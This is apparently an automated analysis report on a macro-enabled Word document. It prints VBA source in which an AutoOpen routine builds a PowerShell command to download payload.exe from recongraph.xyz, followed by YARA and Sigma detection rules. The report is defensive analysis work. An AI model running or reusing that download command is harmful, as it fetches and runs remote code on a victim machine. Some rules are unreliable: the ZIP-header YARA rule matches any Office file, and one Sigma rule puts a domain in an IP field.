428cf2ecd24ac965
Initial access via malicious Word document with embedded VBA macro| TTP ID | Technique | Tactic |
|---|---|---|
| T1566.001 | Spearphishing Attachment | Initial Access |
| T1204 | User Execution | Execution |
| T1105 | Ingress Tool Transfer | Defense Evasion |
| T1059 | Command and Scripting Interpreter | Execution |
| ID | Severity | Type | Finding & Evidence | ||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| SF-0101 | critical | macro malicious | 2 VBA macro module(s) found in tmp_rxh9kwz_nuclear_motor_example.docm (OpenXML). Flags: auto_exec, has_ioc, suspicious.
| ||||||||||||||||||
| SF-0102 | critical | macro indicator autoexec | AutoExec: AutoOpen
| ||||||||||||||||||
| SF-0103 | high | macro indicator ioc | IOC: http://recongraph.xyz/payload.exe, payload.exe, update.exe
| ||||||||||||||||||
| SF-0104 | high | macro indicator suspicious | Suspicious: powershell, command
| ||||||||||||||||||
| SF-0105 | high | macro ioc | IOCs extracted from macros: http://recongraph.xyz/payload.exe, payload.exe, update.exe http://recongraph.xyz/payload.exe payload.exe update.exe | ||||||||||||||||||
| SF-0106 | info | macro source | Full VBA source across 2 module(s) ▶ VBA Macro Source Code--- Module: ThisDocument.cls (stream: VBA/ThisDocument) ---
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
--- Module: Module1.bas (stream: VBA/Module1) ---
Attribute VB_Name = "Module1"
Sub AutoOpen()
Dim cmd As String
Dim url As String
Dim payload As String
url = "http://recongraph.xyz/payload.exe"
' Suspicious-looking command string
cmd = "powershell -c Invoke-WebRequest " & url & " -OutFile C:\Users\Public\update.exe"
' fake payload reference
payload = "update.exe"
' do nothing with them (just keep them in memory)
cmd = cmd
payload = payload
End Sub | ||||||||||||||||||
| SF-0107 | critical | malware detection | VirusTotal: 5 malicious, 0 suspicious out of 76 engines
| ||||||||||||||||||
| ID | Severity | Type | Finding & Evidence | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| SF-0201 | info | geolocation | IP geolocation: country=Singapore, ISP=Amazon.com, Inc., AS=AS16509 Amazon.com, Inc.
| ||||||||||||||||||||||
| SF-0202 | info | blocklist check | Cisco Talos blocklist: recongraph.xyz is clean
| ||||||||||||||||||||||
| SF-0203 | low | virustotal scan | VirusTotal (DOMAIN): 0 malicious, 2 suspicious out of 94 engines (2% flagged) 🛡 VirusTotalDomain 🚫 Malicious: 0⚠ Suspicious: 2✓ Harmless: 61— Undetected: 31△ Reputation: 0 2% flagged by 94 engines Detected by alphaMountain.ai: suspiciousForcepoint ThreatSeeker: suspicious |
| ID | Severity | Type | Finding & Evidence |
|---|---|---|---|
| SF-0301 | medium | missing security header | Missing security header: X-Content-Type-Options X-Content-Type-Options |
| SF-0302 | medium | missing security header | Missing security header: X-Frame-Options X-Frame-Options |
| SF-0303 | medium | missing security header | Missing security header: X-XSS-Protection X-XSS-Protection |
| SF-0304 | high | missing security header | Missing security header: Content-Security-Policy Content-Security-Policy |
| SF-0305 | medium | missing security header | Missing security header: Referrer-Policy Referrer-Policy |
| SF-0306 | medium | missing security header | Missing security header: Permissions-Policy Permissions-Policy |
| SF-0307 | medium | missing security header | Missing security header: Expect-CT Expect-CT |
| SF-0308 | info | security headers summary | Security headers score: 12.5 — 7 missing, 1 present Strict-Transport-Security |
| SF-0309 | info | tls info | TLS: TLSv1.3, cipher: {'bits': 128, 'name': 'TLS_AES_128_GCM_SHA256', 'protocol': 'TLSv1.3'} tls: version=TLSv1.3, cipher={'bits': 128, 'name': 'TLS_AES_128_GCM_SHA256', 'protocol': 'TLSv1.3'} |
| SF-0310 | low | waf detection | No WAF detected firewall: hasWAF=False, waf=None |
| SF-0311 | info | url clean | URL not found in malware/phishing databases malware_check: malicious=False, detections=0, risk=low |
rule SecFlow_Malware_FileSignature {
meta:
description = "Detects the file signature of the malicious Word document"
author = "SecFlow AI"
date = "2026-03-08"
severity = "high"
reference = "SecFlow automated analysis"
strings:
$s1 = { 50 4b 03 04 14 00 00 00 08 00 }
condition:
$s1 at 0
}rule SecFlow_Malware_EmbeddedString {
meta:
description = "Detects the embedded string 'http://recongraph.xyz/payload.exe' in the malicious Word document"
author = "SecFlow AI"
date = "2026-03-08"
severity = "high"
reference = "SecFlow automated analysis"
strings:
$s1 = "http://recongraph.xyz/payload.exe"
condition:
$s1
}rule SecFlow_Malware_VBAMacroPattern {
meta:
description = "Detects the VBA macro pattern 'AutoOpen' in the malicious Word document"
author = "SecFlow AI"
date = "2026-03-08"
severity = "high"
reference = "SecFlow automated analysis"
strings:
$s1 = "Sub AutoOpen()"
condition:
$s1
}rule SecFlow_Malware_NetworkIOC {
meta:
description = "Detects the network IOC 'recongraph.xyz' in the malicious Word document"
author = "SecFlow AI"
date = "2026-03-08"
severity = "high"
reference = "SecFlow automated analysis"
strings:
$s1 = "recongraph.xyz"
condition:
$s1
}title: Detect PowerShell Download
id: 123e4567-e89b-12d3-a456-426655440000
status: experimental
description: Detects the execution of PowerShell commands that download payloads from suspicious URLs
author: SecFlow AI
date: 2026/03/08
modified: 2026/03/08
tags:
- attack.execution
- attack.t1059
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'powershell -c Invoke-WebRequest'
condition: selection
falsepositives:
- Legitimate administrative scripts
level: hightitle: Detect Suspicious DNS Query
id: 234e5678-e89b-12d3-a456-426655440001
status: experimental
description: Detects DNS queries for suspicious domains
author: SecFlow AI
date: 2026/03/08
modified: 2026/03/08
tags:
- attack.initial_access
- attack.t1566.001
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName|endswith:
- 'recongraph.xyz'
condition: selection
falsepositives:
- Legitimate DNS queries
level: mediumtitle: Detect Malicious VBA Macro
id: 345e6789-e89b-12d3-a456-426655440002
status: experimental
description: Detects the presence of malicious VBA macros in Word documents
author: SecFlow AI
date: 2026/03/08
modified: 2026/03/08
tags:
- attack.initial_access
- attack.t1566.001
logsource:
category: file_event
product: windows
detection:
selection:
FileName|endswith:
- '.docm'
FileContent|contains:
- 'AutoOpen'
condition: selection
falsepositives:
- Legitimate Word documents
level: hightitle: Detect Network Connection
id: 456e7890-e89b-12d3-a456-426655440003
status: experimental
description: Detects network connections to suspicious IPs
author: SecFlow AI
date: 2026/03/08
modified: 2026/03/08
tags:
- attack.defense_evasion
- attack.t1105
logsource:
category: network_connection
product: windows
detection:
selection:
DestinationIP|contains:
- 'recongraph.xyz'
condition: selection
falsepositives:
- Legitimate network connections
level: medium